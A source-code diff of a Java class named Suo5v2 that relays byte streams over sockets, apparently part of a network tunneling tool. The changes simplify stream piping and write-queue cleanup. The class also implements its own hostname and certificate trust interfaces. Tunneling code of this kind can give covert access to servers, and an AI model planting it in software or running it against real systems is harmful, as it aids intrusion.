@@ -611,7 +610,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
         return port;
     }
 
-    private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
+    private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
         try {
             byte[] readBuf = new byte[1024 * 8];
             while (true) {
@@ -625,9 +624,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 }
                 outputStream.write(dataTmp);
                 outputStream.flush();
-                if (resp != null) {
-                    resp.getClass().getMethod("flushBuffer").invoke(resp);
-                }
             }
         } finally {
             // don't close outputStream
@@ -1035,7 +1031,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
         // full stream
         if (this.mode == 0) {
             try {
-                pipeStream(gInStream, gOutStream, null, true);
+                pipeStream(gInStream, gOutStream, true);
             } catch (Exception ignore) {
             }
             return;
@@ -1069,17 +1065,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 // write thread
                 while (true) {
                     byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
-                    if (data == null) {
+                    if (data == null || data.length == 0) {
                         selfClean = true;
                         break;
                     }
-                    if (data.length == 0) {
-                        byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
-                        if (signal == null) {
-                            selfClean = true;
-                        }
-                        break;
-                    }
                     ByteBuffer buf = ByteBuffer.wrap(data);
                     while (buf.hasRemaining()) {
                         sc.write(buf);
@@ -1091,8 +1080,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             if (selfClean) {
 
                 removeKey(this.gtunId);
-                readQueue.clear();
             }
+            readQueue.clear();
             writeQueue.clear();
             try {
                 writeQueue.put(new byte[0]);